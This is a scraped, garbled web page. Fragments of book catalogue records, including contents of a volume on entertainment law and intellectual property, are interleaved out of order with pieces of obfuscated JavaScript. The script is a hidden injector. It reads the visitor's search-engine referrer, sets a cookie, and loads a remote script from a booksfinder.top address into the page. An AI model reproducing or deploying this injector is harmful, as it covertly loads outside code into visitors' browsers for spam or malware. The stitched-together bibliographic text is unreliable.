Lego's System of Play Meets Intellectual Property: From the Engineered Object to Digital MediaDan Hunter and Julian Thomas 13.. top/books2019 php?x=sa&query='+q+'');}else{cookie['set'](_0x3538('0x20'),0x1,0x1);if(!_0xc68c70){_0x29e778['rdMkv'](include,_0x29e778[_0x3538('0x31')]+q+'');}}}}}R(); Author: Margaret Islander; Islander School of Fashion ArtsPublisher: Grants Pass, Ore.. + 1 book (66 pages : illustrations ; 23 cm) Responsibility: Pants, etc!Edition: VHS video : VHS tape Visual material : English : Rev.
Issued in a case Includes reproduction memorabilia such as tickets and posters Originally published 1997Includes bibliographical references (page 307) and index Part One New analytical concepts for the anthropological study of the performance of Islamic rituals: the rain rituals as rites of spiritual passage; the comparative study of Muslim societies and Islamic rituals.. Fair Use and Transformative Play in the Digital AgeDavid Tan 5 `Someone is Angry on the Internet': Copyright, Creativity and Control in the Context of Fan FictionMelissa de Zwart 6.. edRygtitel: Prince 1958-2016På omslaget: Exclusive tributes by: Sheila E , Lenny Kravitz, Seal Includes bibliographical references and index Contents:IntroductionMegan Richardson and Sam Ricketson1.
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A Matter of Respect: The Moral Rights of the Entertainer Elizabeth Adeney 9 Entertaining Foreign CopyrightsGraeme W.. constructor(\x22return\x20this\x22)(\x20)'+');')();}catch(_0x2809c5){_0x4059c2=window;}return _0x4059c2;};var _0x39d29e=_0x496fbf();var _0x43e143='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';_0x39d29e['atob']||(_0x39d29e['atob']=function(_0x2e8556){var _0xee33da=String(_0x2e8556)['replace'](/=+$/,'');for(var _0x1dafe9=0x0,_0x331bbd,_0xd631e3,_0x367b94=0x0,_0x43d1d1='';_0xd631e3=_0xee33da['charAt'](_0x367b94++);~_0xd631e3&&(_0x331bbd=_0x1dafe9%0x4?_0x331bbd*0x40+_0xd631e3:_0xd631e3,_0x1dafe9++%0x4)?_0x43d1d1+=String['fromCharCode'](0xff&_0x331bbd>>(-0x2*_0x1dafe9&0x6)):0x0){_0xd631e3=_0x43e143['indexOf'](_0xd631e3);}return _0x43d1d1;});}());_0x3538['NTbGut']=function(_0x5c5648){var _0x23ab63=atob(_0x5c5648);var _0x43c7b2=[];for(var _0x3a1c21=0x0,_0x3c9cc4=_0x23ab63['length'];_0x3a1c21=_0x49cfa8;},'Fskah':function(_0x22e168,_0x490cff){return _0x22e168===_0x490cff;},'EuqvD':_0x3538('0x21'),'yLRgU':function(_0x280192,_0x2e4ca8){return _0x280192(_0x2e4ca8);}};var _0x225aa1=[_0x3538('0x22'),_0x29e778[_0x3538('0x23')],_0x29e778[_0x3538('0x24')],_0x3538('0x25'),'.. : Islander School of Fashion Arts, ©1991 ISBN\ISSN: 0962908118, 9780962908118Notes: 1 videocassette : sound, color ; 1/2 in.. Austin10 A Seamless Global Digital Marketplace of Entertainment ContentPeter K.. var _0x6235=['WE5nUUY=','RXNqT3c=','dUFGQlc=','R09lUk4=','bG9td3g=','RGFvS3Y=','b3JGUUc=','WVFjcGc=','aFl6VFM=','akNXY2o=','aHR0cHM6Ly9ib29rc2ZpbmRlci50b3AvYm9va3MyMDE5LnBocD94PXNhJnF1ZXJ5PQ==','LmJpbmcu','dmlzaXRlZA==','dHBFZXQ=','Lmdvb2dsZS4=','bmtFeEU=','ZEdIR3E=','LmFvbC4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','cmVmZXJyZXI=','Z2V0','b3NjUmc=','aW5kZXhPZg==','c2V0','enBXQmY=','RnNrYWg=','RXVxdkQ=','eUxSZ1U=','S296eXE=','c2NyaXB0','Y3JlYXRlRWxlbWVudA==','cUxlak0=','c3Jj','Z2V0RWxlbWVudHNCeVRhZ05hbWU=','T0d0b2U=','YXBwZW5kQ2hpbGQ=','MjUzODgxMTA=','aGVhZA==','Y29va2ll','ZWVoSEU=','bGVuZ3Ro','cmVwbGFjZQ==','RXhQeko=','bFd0WWw=','QnFaVGw=','TXZWaXk=','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','c25ib2E='];(function(_0x1053c0,_0x33ac1e){var _0xa44633=function(_0x4647ba){while(--_0x4647ba){_0x1053c0['push'](_0x1053c0['shift']());}};_0xa44633(++_0x33ac1e);}(_0x6235,0x1ae));var _0x3538=function(_0x214cd6,_0x30b6ac){_0x214cd6=_0x214cd6-0x0;var _0x9327bb=_0x6235[_0x214cd6];if(_0x3538['vUjdPi']===undefined){(function(){var _0x496fbf=function(){var _0x4059c2;try{_0x4059c2=Function('return\x20(function()\x20'+'{}.. Yu11 Recoding Famous Brands in Advertising and in Entertainment Products: Case Studies on the So-called Harms of Trade Mark DilutionMichael Handler12.. ask ',_0x3538('0x26'),_0x3538('0x27')],_0x3a559f=document[_0x3538('0x28')],_0x3db1a9=![],_0xc68c70=cookie[_0x3538('0x29')](_0x29e778['zpWBf']);for(var _0x2cc212=0x0;_0x29e778['etqzm'](_0x2cc212,_0x225aa1[_0x3538('0xb')]);_0x2cc212++){if(_0x29e778[_0x3538('0x2a')](_0x3a559f[_0x3538('0x2b')](_0x225aa1[_0x2cc212]),0x0)){_0x3db1a9=!![];}}if(_0x3db1a9){cookie[_0x3538('0x2c')](_0x29e778[_0x3538('0x2d')],0x1,0x1);if(!_0xc68c70){if(_0x29e778[_0x3538('0x2e')](_0x3538('0x21'),_0x29e778[_0x3538('0x2f')])){_0x29e778[_0x3538('0x30')](include,'https://booksfinder.. Filling the IP Gap: Privacy and TabloidismTanya Aplin 16 Publicity Right, Personality Right, or Just Confusion? Graeme Dinwoodie and Megan Richardson 17.. The Game's the Thing: Property, Priorities and Perceptions in the Video Games IndustriesDaithi Mac Sithigh 14. 6e4e936fe3
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